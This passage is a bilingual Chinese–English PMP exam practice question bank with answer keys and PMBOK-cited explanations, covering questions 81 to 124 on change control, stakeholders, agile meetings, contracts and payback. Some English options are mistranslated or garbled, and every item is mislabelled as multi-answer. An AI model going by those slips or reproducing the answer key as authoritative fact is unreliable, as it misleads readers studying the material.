章节:9.4.2.1 集中办公:集中办公是指把许多或全部最活跃的项目团队成员安排在同一个物理地点工作,以增强团队工作能力。集中办公既可以是临时的(如仅在项目特别重要的时期),也可以贯穿整个项目。实施集中办公策略,可借助团队会议室、张贴进度计划的场所,以及其他能增进沟 通和集体感的设施。没有整体感,需要使用集中办公的工具创造整体感。 81、 [多选] 高级主管希望开始一项计划,将公司战略和附加价值与业务计划保持一致。应该先创建下列哪一项?A senior executive wants to start an initiative align the company’s strategy and add business plan. Which of the following should be developed first?  A :项目和产品的详细描述 Detailed description of project and product  B :描述项目可交付成果和创建这些可交付成果所需工作的说明书 Statement describing the project’s deliverables and the work required to create deliverables  C :定义如何执行、监控和收尾项目的项目计划 Project plan to define how the project is executed, monitored and controlled  D : 正式授权一个项目的文件 Document that formally authorizes the project 正确答案:D 你的答案:D 解析:知识点出处: PMBOK 6th 页码:P81 章节:4.1.3.1 项目章程: 项目章程是由项目启动者或发起人发布的,正式批准项目成立,并授权项目经理使用组织资源开展项目活动的文件。它记录了关于项目和项目预期交付的产品、服务或成果的高层级信息。项目要在章程正式批准后才能正式开始。 82、 [多选] 项目经理正在一个职能型组织中管理一个项目,一位关键相关方请求进行一项高影响变更,这将使可交付成果的成本增加50%,变更控制委员会(CCB)尚未成立。但是,项目经理仍然启动变更控制过程。由谁负责批准该变更?The project manager is managing a project in a functional organization. A key stakeholder requests a high-impact change, which will increase the cost of deliverable by 50%. The Change Control Board (CCB) has not yet been established. However, the project manager still initiates the change control process.Who is responsible for approving the change?  A :项目团队和关键相关方 Project team and key stakeholders  B : 项目发起人和职能经理 Project sponsor and function manager  C :项目经理和职能经理 Project manager and functional manager  D :项目经理和项目团队 Project manager and project team 正确答案:B 你的答案:B 解析:知识点出处: PMBOK 6th 页码:P113 章节:4.6 CCB 是一个正式组成的团体,负责审查、评价、批准、推迟或否决项目变更,以及记录和传达变更处理决定。 职能型组织的领导是发起人和职能经理 84、 [多选] 在项目执行阶段,项目经理了解到一些相关方认为已批准的变更是不必要的,所以他们对接受这些变更犹豫不决,这些变更对项目的成本和进度基准影响很小。 项目经理应该做什么?During a project's execution phase,the project manager learns that some stakeholders are hesitant to accept approved changes because they believe the changes are unnecessary.These changes have minimal effect on the project's cost and schedule baselines. What should the project manager do?  A :将该问题升级上报给高级管理层 Execute the issue to senior management  B :要求变更控制委员会(CCB)重新审查批准的变更 Ask the change control board(CCB)to re-review the approved changes  C : 与这些相关方开会,打消他们的顾虑 Meet with these stakeholders do address their concerns  D :执行这些变更,因为它们的影响微不足道 Execute the changes since their impact is insignificant 正确答案:C 你的答案:C 解析:知识点出处: PMBOK 6th 页码:P524 章节:13.2 在管理相关方参与过程中,需要开展多项活动,例如: • 在适当的项目阶段引导相关方参与,以便获取、确认或维持他们对项目成功的持续承诺; • 通过谈判沟通管理相关 方期望; • 处理与相关方管理有关的任何风险或潜在关注 点,预测相关方可能在未来引发的问题; • 澄清和解决已识别的问题。 变更已批准,通过谈判与沟通处理相关方期望。 85、 [多选] 一个施工项目的已批准成本基准包含一些已识别风险的储备。在执行阶段,发生了一次地震,但该项目并未考虑此风险,需要资金进行灾后恢复。项目经理应该做什么?The approval cost baseline for a construction project includes some identified risk reserves. During the implementation phase, an earthquake occurred, but the project did not consider this risk and required funding for post-disaster recovery.What should the project manager do?  A :无需寻求授权即可变更项目的成本基准,并继续进行项目工作 No need to seek authorization to change the cost basis of the project and continue the project work  B : 向变更控制委员会(CCB)提交申请,以获得额外资金和成本基准变更 Submit an application to the Change Control Board (CCB) for additional funding and cost baseline changes  C :在未咨询CCB的情况下,使用已识别风险的储备来支付灾后恢复成本 Use of identified risk reserves to pay for disaster recovery costs without consulting CCB  D :要求管理层授权将已识别风险的储备用于支付灾后恢复成本 Require management to authorize the use of identified risk reserves for post-disaster recovery costs 正确答案:B 你的答案:B 解析:知识点出处: PMBOK 6th 页码:P457 章节:11.7.3.2 变更请求:执行监督风险过程后,可能会就成本基准和进度基准,或项目管理计划的其他组件提出变更请求,应该通过实施整体变更控制过程(见 4.6 节)对变 更请求进行审查和处理。 使用管理储备需要进行变更。 87、 [多选] 公司计划发布一款新的软件产品以应对市场需求,项目经理组织一次与所有内部项目相关方会议,讨论并整合输入和想法。项目经理执行的是下列哪一项?A company plans to release a new software product in response to market demand. A project manager organizes a workshop with all internal project stakeholders to discuss and consolidate inputs and ideas. What is the project manager performing?  A :思维导图 Mind mapping  B :决策分析 Decision analysis  C :亲和图 Affinity diagramming  D : 头脑风暴 Brainstorming 正确答案:D 你的答案:D 解析:知识点出处: PMBOK 6th 页码:P80 章节:4.1.2.2 头脑风暴: 本技术用于在短时间内获得大量创意,适用于团队环境,需要引导者进行引导。头脑风暴由两个部分构成:创意产生和创意分析。 召集所有相关方讨论想法。 ABC启动过程没有此工具 88、 [多选] 发起人担心敏捷项目进展不够快,因为没有发送项目状态报告。发起人向Scrum主管表达他们的担忧。Scrum主管向发起人保证项目正在按计划进行,并邀请发起人参加会议,亲眼看看项目进展。下面哪个会议Scrum主管最有可能邀请发起人?A sponsor is worried that the agile project does not progress fast enough since no project status reports are being sent. The sponsor approaches the scrum master with their concerns. The scrum master reassures the sponsor that the project is moving ahead as planned and invites the sponsor to attend a meeting and see the progress with their own eyes. Which of the following meetings did the scrum master most likely invite the sponsor?  A :冲刺计划会议 Sprint planning meeting  B :每日站会 Daily standup meeting  C : 冲刺审查会议 Sprint review meeting  D :冲刺回顾会议 Sprint retrospective meeting 正确答案:C 你的答案:C 解析:知识点出处: 敏捷实践指南 页码:P55 章节:5.2.5 展示/评审: 在基于迭代的敏捷中,团队在迭代结束时展示所有已完成的工作项。在基于流程的敏捷中, 团队在需要时展示完成的工作,通常是当完成的功能累积到足以构成一个连贯组合时。团队,包括产品负责人在内,都需要反馈来决定何时需要产品反馈。 审查会议会展示已经完成的产品。然后让相关方评估否接受。 89、 [多选] 项目经理从项目管理办公室(PMO)收到项目绩效评估报告,该报告指出,其中一位相关方认为范围控制很差,但没有提供额外的细节,项目经理应该怎么做?A project manager receives a project performance evaluation report from the project management office (PMO). The report states that one stakeholder believe the scope has been poorly controlled, but no additional details is provided. What should the project manager do?  A :无视该反馈,因为没有任何细节可以支持这个问题 Disregard the feedback,since there were no details to support the issue  B :与几位相关方分别讨论该问题,以确定是谁提供了该反馈 Discuss the issue individually with several stakeholder to determine who provided the feedback  C : 在发送工作绩效信息后,与利害相关方开会以获取更多详细信息并说明所感知的问题 After sending work performance information, meet with stakeholders to obtain more detailed and address perceived issues  D :与最高级别的相关方开会,详细说明是如何妥善管理范围的 Meet with the most senior stakeholders to explain in detail how the scope was properly managed 正确答案:C 你的答案:C 解析:知识点出处: PMBOK 6th 页码:P524 章节:13.2 在管理相关方参与过程中,需要开展多项活动,例如: • 在适当的项目阶段引导相关方参与,以便获取、确认或维持他们对项目成功的持续承诺; • 通过谈判沟通管理相关方期望; • 处理与相关方管理有关的任何风险或潜在关注点,预测相关方可能在未来引发的问题; • 澄清和解决已识别的问题。 通过谈判与沟通管理相关方的期望 B选项,没必要分别讨论。 90、 [多选] 在项目过程中,项目经理得知一位关键相关方被替换了。虽然新的相关方表达了对项目范围的理解,但他们仍想坚持几项新的需求,而这将影响项目的成本和进度计划。项目经理下一步应该做什么?During the project, the project manager learned that a key stakeholder was replaced. Although the new stakeholders expressed their understanding of the scope of the project, they still wanted to adhere to several new requirements, which would affect the project's cost and schedule.What should the project manager do next?  A :请求相关方经理支持保持当前的需求 Ask the relevant party manager for support to maintain current needs  B :通知项目发起人将发生的延迟情况以及将增加的费用 Notify the project sponsor of the delays that will occur and the costs that will increase  C :要求之前的相关方与新的相关方讨论此事 Ask previous parties to discuss the matter with new parties  D : 与新的相关方一起评估项目延迟和成本影响的细节 Evaluate details of project delays and cost impacts with new stakeholders 正确答案:D 你的答案:D 解析:知识点出处: PMBOK 6th 页码:P113 章节:4.6 变更流程: 变更提出后,先分析影响,再提交含解决措施的变更请求给CCB。 整体变更控制,提出变更先分析。变更过程要与相关方充分沟通。 92、 [多选] 发起人启动了一个实施正常变更的项目,已识别了项目相关方,并且发起人要求项目经理根据他们的影响力和权力提供相关的参与的政策。项目经理应该做什么?The sponsor initiated a project that implements normal changes, identified project stakeholders, and the sponsor asked the project manager to provide a relevant participation policy based on their influence and power. What should the project manager do?  A :访谈相关方 Interview with interested parties  B : 使用相关方映射(影响)分析 Use Stakeholder Mapping (Impact) Analysis  C :参考相关方登记册 Reference to Register of Interested Parties  D :使用数据分析技术 Using data analysis techniques 正确答案:B 你的答案:B 解析:知识点出处: PMBOK 6th 页码:P512 章节:13.1.2.4 权力影响方格:基于相关方的职权级别(权力)、对项目成果的关心程度(利益)、对项目成果的影响能力(影响),或改变项目计划或执行的能力,每一种方格都可用于对相关方进行分类。 与权力/利益方格类似,权力影响也是分成四个区间。 93、 [多选] 一个项目连续错过交付日期,项目团队评估完该情况后,项目经理意识到团队绩效差的原因在于团队成员对于自己的职责缺乏清晰认识。项目经理首先应该关注哪一项?A project has consistently missed the delivery dates. After assessing the situation with the project manager realizes the poor performance is due to a lack of charity for team member’s responsibilities? What should the project manager focus on first?  A : 创建RACI图 Create a RACI chart  B :巩固领导团队的角色 Consolidate the role of the leadership  C :协商获得具有更高技能的新团队成员 Negotiation for new team member with stronger skills  D :使用奖励和强制权利激励成员 Use reward and coercive power to motivate the team 正确答案:A 你的答案:A 解析:知识点出处: PMBOK 6th 页码:P317 章节:9.1.2.2 责任分配矩阵: 责任分配矩阵展示项目资源在各个工作包中的任务分配矩阵图能反映与每个人相关的所有活动,以及与每项活动相关的所有人员,它也可确保任何一项任务都只有一个人负责,从而避免职权不清。如果团队是由内部和外部人员组成,RACI 矩阵对明确划分角色和职责特别有用。 角色(人)跟职责(活)之间的关系,找责任分配矩阵。 94、 [多选] 审查问题日志的团队意识到一项关键可交付成果可能会延期,这将影响项目进度计划几个月时间。该项目在公司的投资组合中具有更高的优先级。 项目经理应该做什么?A team reviewing the issue log realizes that a key deliverable may delayed,which will impact the project schedule by a few months.This project has high priority within the company's portfolio What should the project manager do?  A :在问题日志中描述其影响 Describe the impact in the issue log  B :更新项目的进度基准 Update the project's schedule baseline  C :请求项目发起人的支持 Ask the project sponsor for support  D : 在风险登记册中添加一个新的高概率风险 Add a new,high-probability risk to register 正确答案:D 你的答案:D 解析:知识点出处: PMBOK 6th 页码:P417 章节:11.2.3.1 风险登记册: 已识别的风险清单、潜在风险责任人 、潜在风险应对措施清单。 识别完风险,将风险登记在册。 95、 [多选] 一个敏捷团队即将开始项目的第一次迭代来为客户开发一个软件应用程序。发起人要求团队与客户紧密协作,以增加项目成功的机会。项目经理应该鼓励以下哪一项来支持发起人的要求?An agile team is about to begin the first iteration of the project to develop a software application for a customer. The sponsor requests that the team works in close collaboration with the customer to increase the chances of the project's success. Which of the following should the project manager encourage to support the sponsor's request?  A :与客户谈判,制定全面的项目协议 Negotiating with the customer to formulate comprehensive project agreements  B :根据团队成员的动机把工作交给他们,并相信他们能完成工作 Assigning work to the team members based on their motivation and trust them to get the job done  C :指责客户和团队可以无限期地保持恒定的速度 Ensuring that the customer and the team can maintain a constant pace indefinitely  D : 欢迎客户需求的变更,即使是在产品开发的后期 Welcoming changing customer requirements, even late in the development of the product 正确答案:D 你的答案:D 解析:知识点出处:敏捷实践指南 页码:P9 章节:2.2 D敏捷拥抱变更; A客户合作大于合同谈判 ;B适合指导团队不适合客户合作 97、 [多选] 项目经理应该使用什么方法来准确收集项目需求,并从多个不同国家的项目相关方获得反馈?What method should the project manager use to accurately collect project requirement and feedback from stakeholder located in several countries?  A : 问卷调查 Questionnaires and surveys  B :焦点小组 Focus groups  C :引导式研讨会 Facilitate workshops  D :访谈 Interview 正确答案:A 你的答案:A 解析:知识点出处: PMBOK 6th 页码:P143 章节:5.2.2.2 问卷调查: 指设计一系列书面问题,向众多受访者快速收集信息。 问卷调查方法非常适用于以下情况:受众多样化,需要快速完成调查,受访者地理位置分散,并且适合开展统计分析。 位于不同国家,最好使用问卷调查 98、 [多选] 项目的混凝土供应商通知项目经理,材料将比预定时间晚三个星期交付。项目经理更新了进度计划并通知项目团队。在这种情况下,哪种合同类型承担的风险最小?A project’s concrete supplier informs the project manager that the material will be delivered three weeks later than scheduled.The project manager update the schedule and notifies the project team. In this situation,what contract type carries the least amount of project risk ?  A :总价加激励费用合同(FPIF) Fixed price incentive fee(FPIF)  B :总价加经济价格调整合同(FPEPA) Fixed price with economic price adjustment(FPEPA)  C :工料合同(T&M) Time and material(T&M)  D : 固定总价合同(FFP) Fixed total price contract(FFP) 正确答案:D 你的答案:D 解析:知识点出处: PMBOK 6th 页码:P471 章节:12.1.1.6 总价合同:此类合同为既定产品、服务或成果的采购设定一个总价。这种合同应在已明确定义需求,且不会出现重大范围变更的情况下使用。 范围明确,要选择固定总价合同 100、 [多选] 一家公司考虑进行开发新移动应用的一个项目。因为目前还不清楚目标用户将如何使用该应用,公司决定开发一个早期版本只有必备功能的增量,。若用户反馈积极,则使用预测性项目管理方法推进全面开发。手机应用的提前发布代表了什么?A company considers a project to develop a new mobile app. Since it's unclear how will target users adopt the app, the company decides to develop an early release incrementally with only the must-have features, and then, if the feedback from the users is positive, move forward with full-blown development using a predictive project management approach. What does the early release of the mobile app represent?  A :敏捷发布规划 Agile release planning  B : 最小可行产品 Minimum viable product  C :功能完整的原型 Fully functioning prototype  D :工作分解结构 Work breakdown structure 正确答案:B 你的答案:B 解析:知识点出处: 敏捷实践指南 页码:P23 章节:3.1.3 MVP最小可行产品:完整性和交付是主观的。团队可能需要获得关于原型的反馈, 然后可能选择将最小可行性产 品 (MVP) 交付给部分客户。客户的反馈将帮助团队了解他们 需要为随后交付的最终功能的完善提供些什么。 使用最小可行产品获得客户尽早地反馈。 101、 [多选] 一个新项目即将开始,但两位关键相关方对可交付成果的看法相互矛盾。项目经理应该怎么做?A new project is about to start, but two key stakeholders have conflicting views on deliverables. What should the project manager do?  A :向相关方提供详细的客户需求 Present detailed customer requirements to the stakeholders  B : 与相关方开会,讨论可交付成果和关键成功标准 Meet with the stakeholders to discuss deliverables and key success criteria  C :制定项目管理计划和项目范围 Develop the project management plan and project scope  D :在项目管理计划中包含不同意见 Include the different opinions in the project management plan 正确答案:B 你的答案:B 解析:知识点出处: PMBOK 6th 页码:P80 章节:4.1.2.4 会议:在本过程中,与关键相关方举行会议的目的是识别项目目标、成功标准、主要可交付成果、高层级需求、总体里程碑和其他概述信息。 启动阶段的会议与相关方讨论可交付成果以及成功标准。 102、 [多选] 在一个公路施工项中,最近出现了返工的情况,导致项目经理非常担心项目的不一致性成本。项目经理来寻求你的帮助。你能给他的最好的建议是?In a road construction project, the rework that happened lately makes the project manager very concerned about the inconsistency cost of no-conformance. The project manager turns to you for help. What is the best advice you can offer?  A :重新进行规划质量管理过程 To re-plan the quality management process  B :加强质量控制 To strengthen the quality control  C : 开展质量审计 To perform quality audit  D :开展标杆对照 To carry out benchmarking control 正确答案:C 你的答案:C 解析:知识点出处: PMBOK 6th 页码:P295 章节:8.2.2.5 审计:采取后续措施纠正问题,可以降低质量成本,并提高发起人或客户对项目产品的接受度。 审计可以降低质量成本。 104、 [多选] 在迭代计划过程中,敏捷教练希望确保她的开发团队有一种简单的方法来组织他们的工作,以及在迭代中剩余工作的可视化表示。敏捷教练最好使用以下哪一种工具来实现她的目标?During iteration planning, an agile coach wants to ensure that her development team has an easy way of organizing their work as well as a visual representation at a glance of the work remaining to be completed in an iteration. Which of the following tools is best for the agile coach to use to accomplish his goals?  A :燃尽图 A burndown chart  B : 任务板 A task board  C :燃起图 A burnup chart  D :一览表 A glance chart 正确答案:B 你的答案:B 解析:知识点出处:敏捷实践指南 页码:P105 章节:A3.4 看板面板(如图 A3-2 所示)是一种技术含量低但接触广泛的技术,使用者在一开始时可能会认为其过于简单,但很快便会发现其强大的功能。看板面板利用列进入和退出 策略以及限制在制品等制约因素,可提供一目了然的工作流、瓶颈、 阻碍和整体状态信息。此外,面板可作为面向所有观众的信息发射源,提供团队工作状态的最新信息。 只有看板面板能够 同时规划工作和了解进度。燃尽图和燃起图仅能了解进度。 105、 [多选] 一位先前不活跃的相关方参与程度突然增加,这种意外的参与导致了一些变更请求。项目经理应该做什么?The involvement of a previously inactive interested party suddenly increased, and this unexpected participation led to some change requests. What should the project manager do?  A :向相关方解释变更请求过程 Explain the change request process to interested parties  B :审查已批准的有关相关方请求的期望 Review approved expectations regarding stakeholder requests  C : 与该相关方开会,以评估变更请求 Meet with the interested party to evaluate the change request  D :要求相关方与发起人讨论这些请求 Ask interested parties to discuss these requests with the sponsor 正确答案:C 你的答案:C 解析:知识点出处: PMBOK 6th 页码:P113 章节:4.6 变更流程:变更提出后,先分析影响,再提交含解决措施的变更请求给 CCB 审批前,三步骤提出变更-分析影响-提交审批 107、 [多选] 公司的新产品系列将在两个月内发布,95%的项目任务均已完成。但是,管理层却决定终止产品发布并取消项目。项目经理下一步该怎么做?The Company's new product line will be launched in two months, and 95% of the project tasks have been completed. However, the management decides to terminate the product launch and cancel the project. What should the project manager do next?  A :立即停止所有项目任务 To stop all project tasks immediately  B :按原计划完成项目 To complete the project as per the original plan  C :释放资源并记录项目状态 To release resources and record the project status  D : 收尾项目并更新经验教训 To close the project and update lessons learned 正确答案:D 你的答案:D 解析:知识点出处: PMBOK 6th 页码:P127 章节:4.7.3.4 收尾流程:如果项目在完工前提前终止,则需要在正式的收尾文件中说明项目终止的原因,并规定正式程序,把该项目的已完成和未完成的可交付成果移交他人。 项目中止,项目经理正常安排收尾,调查原因并总结经验教训 108、 [多选] 一家公司正在几个国家部署一个新的解决方案,已包含安全审计作为每次部署的质量检查组成部分。第一次部署后进行的安全审计结果发现了违反安全的行为以及不合规问题。项目经理应该做什么?A company is deploying a new solution in several countries and has included security audits as part of the quality check for each deployment. The security audit conducted after the first deployment found security violations and non-compliance issues. What should the project manager do?  A : 组织团队研讨会以执行根本原因分析并定义纠正措施计划 Organize team workshops to perform root cause analysis and define corrective action plans  B :审查质量管理计划,以确认是否包含安全要求 Review the quality management plan to confirm that it includes safety requirements  C :与安全审计员协商降低已发现问题的重要性 Consult with a security auditor to reduce the importance of identified issues  D :验证质量要求与解决方案是否一致,并更新质量管理计划 Verify that the quality requirements and solutions are consistent and update the quality management plan 正确答案:A 你的答案:A 解析:知识点出处: PMBOK 6th 页码:P296 章节:8.2.3.3 变更请求:如果管理质量过程期间出现了可能影响项目管理计划任何组成部分、项目文件或项目/产品管理过程的变更,项目经理应提交变更请求并遵循 4.6 节定义的实施整体变更控制过程。 安全问题与不合规问题必须纠正,否则项目不会成功。 109、 [多选] 项目经理发现项目可交付成果与发起人期望之间存在若干不一致之处,为确保一致,项目经理应该制定下列哪一项?A project manager finds several inconsistencies between project deliverables and sponsor expectations.To ensure alignment,what should the project manager develop?  A :风险登记册 Risk register  B : 相关方参与计划 Stakeholder management plan  C :沟通管理计划 Communications management plan  D :工作分解结构(WBS) Work breakdown structure(WBS) 正确答案:B 你的答案:B 解析:知识点出处: PMBOK 6th 页码:P522 章节:13.2.3.1 相关方参与计划:相关方参与计划是项目 管理计划的组成部分。 它确定用于促进相关方有效参与决策和执行的 策略和行动。 期望不一致,就要持续管理好相关方的期望。 110、 [多选] 项目选择委员必须在项目 A 和项目 B 之间做出选择,项目 A 的投资回报期为 21 个月,项目B 的成本为 175000 美元,第一年的预期正现金流为 75000 美元,之后每季度的正现金流为 50000美元,项目经理应选择哪一个?The project selection committee must make a choice between project A and Project B, project A has an investment return period of 21 months, the cost of Project B is $175000, the expected positive cash flow for the first year is $75000, and the positive cash flow for each quarter is 50000 USD, which should the project manager choose?  A :项目 A 或项目 B,因为两个项目投资回报期一样 Project A or project B, as two project investment return periods  B :项目 B,因为项目 A 的投资回报期更长 Project B because the investment return period for project A is longer  C :项目 A,因为项目 B 的投资回报期更长 Project A, because Project B has a longer investment return period  D : 项目 B,因为项目 B 的投资回报期更短 Project B because the investment return period for Project B is shorter 正确答案:D 你的答案:D 解析:知识点出处: PMBOK 6th 页码:P34 章节:1.2.6.4 回收期PBP A=21个月 B=[175000-75000)/50000]*3+12 =18个月 选项目B是因为B的回收期短。 111、 [多选] 为了帮助改善虚拟团队的沟通,项目经理部署了一个在线聊天工具,其中包含了每个人在工作时使用的各种主题的渠道。通常一切安静,但有时突然会有长长的聊天流,谈论许多与项目工作相关或无关的话题。聊天流很容易让人分心,通常很难找到与工作相关的重点。对项目经理来说,最好的行动方案是什么?To help improve the communication of a virtual team, the project manager deploys an online chat tool with channels for various topics that everyone uses while working. Often, all is quiet, but sometimes, there are sudden long streams of chat about many topics, both related and unrelated to the project work. The chat stream can be quite distracting, and it is often difficult to find important points that relate to work. What is the best course of action for the project manager?  A :什么不做,网上聊天是人们相互了解的一种释放 Nothing. Online chat is a release for people getting to know one another.  B :取消聊天工具,让团队成员改用电子邮件和电话 Eliminate the chat tool and instruct the team to use email and phone instead  C :加入到乐趣中并鼓励团队成员继续这样的对话 Join in on the fun and encourage the team to keep on with this type of conversation.  D : 要求团队使用其他渠道进行与工作无关的对话 Request the team to use another channel for non-work related conversations. 正确答案:D 你的答案:D 解析:知识点出处: PMBOK 6th 页码:P35 章节:4.2.1.1 仆人式领导:促进团队内部和团队之间的合作与对话。例如, 仆人式领导在团队内部和团队之间帮助发现瓶颈问题,并进行相应沟通。然后,团队将解决这些瓶颈问题。此外,促进者还鼓励大家通过交互式会议、非正式对话和知识共享展开协作。 虽然非正式对话相对有益,但是要以不影响工作为前提。 112、 [多选] 在定义活动过程中,一团队成员开始讨论一个项目经理从来没有听过的活动。此时项目经理应该怎么做?During the Define Activities process, a team member begins to discuss activities that the project manager has never heard discussed. What should the project manager do?  A :确保团队成员理解并将这些活动包含在活动清单里了 Make sure he has a good understanding of the activities and include the activities in the activity list  B : 询问团队成员需要完成这些活动的原因 Ask the team member to explain why such an activity would be needed to complete the work package  C :确认所有团队成员都认同这些活动 Make sure the entire team agrees that the activities should be done  D :评估变更的影响 Evaluate the impact of the change 正确答案:B 你的答案:B 解析:知识点出处: PMBOK 6th 页码:P186 章节:6.2.3.4 变更请求: 一旦定义项目的基准后,在将可交付成果渐进明细为活动的过程中,可能会发现原本不属于项目基准的工作,这样就会提出变更请求。在这情况下, 应该通过实施整体变更控制过程(见 4.6 节)对变更请求进 行审查和处理。 渐进明细的过程中,会有新的活动进来,先了解分析,必要时变更。 116、 [多选] 你是一个商业写字楼建设项目的项目经理。你知道政府部门发布的相关建筑法规、消防法规等,都是你开展质量管理工作的重要依据。你必须保证项目质量计划符合相关法规的要求。这些法规将产生什么作用?You are the project manager in charge of a commercial office building project. You understand that the applicable building code and fire regulations issued by the government authorities are the important basis for you to conduct quality management. You must ensure that the project quality plan meets the requirements under applicable regulations. What effect will these regulations have?  A : 是规划质量管理过程的输入 is the input to the planning quality management process  B :有助于进行质量管理革新 contribute to quality management upgrading  C :会导致项目质量成本的上升 will lead to an increase in project quality cost  D :有助于楼房建设质量的优化 contribute to improved quality of building construction 正确答案:A 你的答案:A 解析:知识点出处: PMBOK 6th 页码:P280 章节:8.1.1.4 事业环境因素: 能够影响规划质量管理过程的事业环境因素包括: • 政府法规; • 特定应用领域的相关 规则、标准和指南; 政府法规是重要的事业环境因素。 117、 [多选] 项目经理加入一个项目,但项目经理在该项目所涉及的行业经验有限,在该项目的整个生命周期中,项目经理精心记录每个差距、问题和不一致性。但是,无论项目经理如何记录和跟踪生产问题,但问题都没有得到解决,这使项目交付面临风险。 若要解决这些问题,项目经理事先应该做什么?A project manager joins a project in an industry with which they have limited experience.Throughout the project's life cycle,the project manager meticulously documents each gap, problem,and inconsistency.However,production issues remain ,unresolved;regardless of the project manager's efforts to record and track them,which puts project delivery at risk. What should the project manager have done to resolve these issues?  A :调整范围基准和项目进度计划与客户需求保持一致 Aligned the scope baseline and project schedule to the customer's needs  B : 使用主题专家(SMEs)提供适合的应对行动 Used subject matter experts(SMEs) to provide suitable response actions  C :审查相关方的需求与验收标准相匹配 Reviewed stakeholder requirements to match the acceptance criteria  D :检查需求跟踪矩阵,以确保它与可交付成果相联系 Examined the requirements tractability matrix to insure that it linked to the deliverables. 正确答案:B 你的答案:B 解析:知识点出处: PMBOK 6th 页码:P94 章节:4.3.2.1 • 关于项目所在的行业以及项目关注的领域的技术知识; • 成本和预算管理; • 法规与采购; • 法律法规; • 组织治理。 看到行业领域的事情,一般都找专家判断。 118、 [多选] 项目经理正在领导一个高度敏感的政府项目,按时交付该项目至关重要。第三方供应商按时交付一个关键项目组件,但不满足规范要求。目前尚不清楚交付的组件是否会按照批准的项目设计进行。项目经理应该做什么?The project manager is leading a highly sensitive government project, and delivering the project on time is critical. A third-party vendor delivered a critical project component on time, but did not meet the specification requirements. It is unclear whether the delivered components will follow the approved project design.What should the project manager do?  A :接受该组件并按时交付该项目 Accept the component and deliver the project on time  B :要求退还该项目的款项,并告知相关方该延迟情况 Request a refund of the project and inform the parties of the delay  C :与客户协商接受不合格的组件 Negotiate with customers to accept substandard components  D : 拒绝该组件并重新订购,并且重新制定项目的进度计划 Reject the component and reorder, and re-schedule the project 正确答案:D 你的答案:D 解析:知识点出处: PMBOK 6th 页码:P498 章节:12.3.2.3 绩效审查 :对照协议,对质量、资源、进度和成本绩效进行测量、比较和分析, 以审查合同工作的绩效。其中包括确定工作包提前或落后于进度计划、超出或低于预算,以及是否存在 资源或质量问题。 质量不合格,退了重新定。 119、 [多选] 在一个软件开发项目的项目执行阶段举行的评审会议期间, 最终用户和项目发起人对一项关键功能的演示感到满意,项目经理下一步应该做什么?During a review meeting in the project execution phase of a software development project,end users and the project sponsor are pleased with the demonstration of a key feature.What should the project manager do next?  A :指示团队进行收益评估 Direct the team to conduct a benefit assessment  B : 请求在用户验收报告上签字 Request sign off on the user acceptance report  C :执行质量管理计划中的活动 Execute activities in the quality management plan  D :更新测试计划以减少测试工作 Update test plans to reduce testing efforts 正确答案:B 你的答案:B 解析:知识点出处: PMBOK 6th 页码:P166 章节:5.5.3.1 验收的可交付成果: 符合验收标准的可交付成果应该由客户或发起人正式签字批准。应该从客户或发起人那里 获得正式文件,证明相关方对项目可交付成果的正式验收。 这些文件将提交给结束项目或阶段过程 对可交付成果满意的话,要正式签字批准。 120、 [多选] 在准备项目的第四份状态报告时,项目经理了解到客户正在迁移到新系统。客户通知为了保持一致性,以及为了简化项目报告的审查,所有未来的报告均应使用新系统提交。由于原始系统被定义为在进度报告期间使用的软件,因此项目经理将该问题记录为经验教训。将该问题作为经验教训报告的价值是什么?While preparing a project's fourth status report,the project manager learns that the client is migrating to a system.The client advises that to maintain uniformity,and to ease the review of project report,all future reports should be submitted using the new system,since the origin system was defined as the software to be used during progress reporting,the project manager records this as a lesson learned. What is the value of reporting this as a lesson learned?  A :它可以作为防止法律诉讼的依据 It could be used as a basis for preventing a lawsuit  B :它可被识别为一个可能发生的问题 It can be identified as a possible issue  C :它可以作为建议合同团队保持灵活性的依据 It can be used a basis for recommending contrast-team flexibility  D : 它将有助于防止未来合同中软件规范的遗漏 It will help prevent software specification omissions in future flexibility 正确答案:D 你的答案:D 解析:知识点出处: PMBOK 6th 页码:P104 章节:4.4.3.1 经验教训登记册:经验教训登记册可以记录遇到 的挑战、问题、意识到的风险和机会,或其他适用的内容。经验教训登记册在早期创建,在整个项目期间,它可以作为 很多过程的输入,也可以作为输出而不断更新。 经验教训改善未来绩效,因此参考经验教训,一般不会犯过去的错误 122、 [多选] 一家公司正在几个国家部署一个新的解决方案。项目经理协商多个虚拟团队,但交付解决方案团队向另一位经理报告工作。在一次组织会议期间,该解决方案团队宣布,由于技术问题,预期解决方案将延迟两个月。项目经理在该会议之前没有意识到这种延迟,现在必须重新制定所有部署的进度计划。若要避免这个问题,项目经理应该事先做什么?A company is deploying a new solution in several countries. The project manager negotiates multiple virtual teams, but the delivery solution team reports work to another manager. During an organizational meeting, the solution team announced Problem, the expected solution will be delayed for two months. The project manager was unaware of this delay before the meeting and must now reschedule the schedule for all deployments.To avoid this problem, what should the project manager do beforehand?  A :要求直接管理所有团队,以确保监督项目的可交付成果 Requires direct management of all teams to ensure oversight of project deliverable  B :在进度计划中添加特定任务,以解决可能发生的任何未知延迟 Add specific tasks to the schedule to address any unknown delays that may occur  C :确认团队中拥有具备虚拟团队经验的高素质技术专家 Confirm that the team has high-quality technical experts with virtual team experience  D : 确保与所有团队定期举行会议,以分享关键信息并预测问题 Ensure regular meetings with all teams to share key information and predict problems 正确答案:D 你的答案:D 解析:知识点出处: PMBOK 6th 页码:P340 章节:9.4.2.3 沟通技术 :在解决集中办公或虚拟团队的团队建设问题方面,沟通技术至关重要。它有助于为集中办公团队营造一个融洽的环境, 促进虚拟团队(尤其是团队成员分散在不同时区的团队)更好地相互理解。 虚拟团队的沟通至关重要。 124、 [多选] 项目经理B临时替换休探亲假的项目经理A,在一次每周进度会议期间,项目经理B发现两名团队成员对可交付成果的质量存在冲突,项目经理B审查质量管理计划,发现未明确定义质量标准,难以轻松衡量质量。项目经理B应该做什么?Project manager B temporarily replaced project manager A who was on vacation. During a weekly progress meeting, project manager B found that two team members had conflicts with the quality of deliverable. Project manager B reviewed the quality management plan and found that it was not clearly defined quality standards make it difficult to measure quality easily. What should Project Manager B do?  A :与两位团队成员交谈以尝试解决争议 Talk to two team members to try to resolve the dispute  B :等待项目经理A回来,然后再指出问题 Wait for project manager a to come back before pointing out the problem  C :保持质量标准,因为这将使可交付成果获得更多的批准 Maintain quality standards, as this will lead to more approval of deliverable  D : 签发变更请求,以更新质量管理计划 Issue a change request to update the quality management plan 正确答案:D 你的答案:D 解析:知识点出处: PMBOK 6th 页码:P306 章节:8.3.3.4 变更请求: 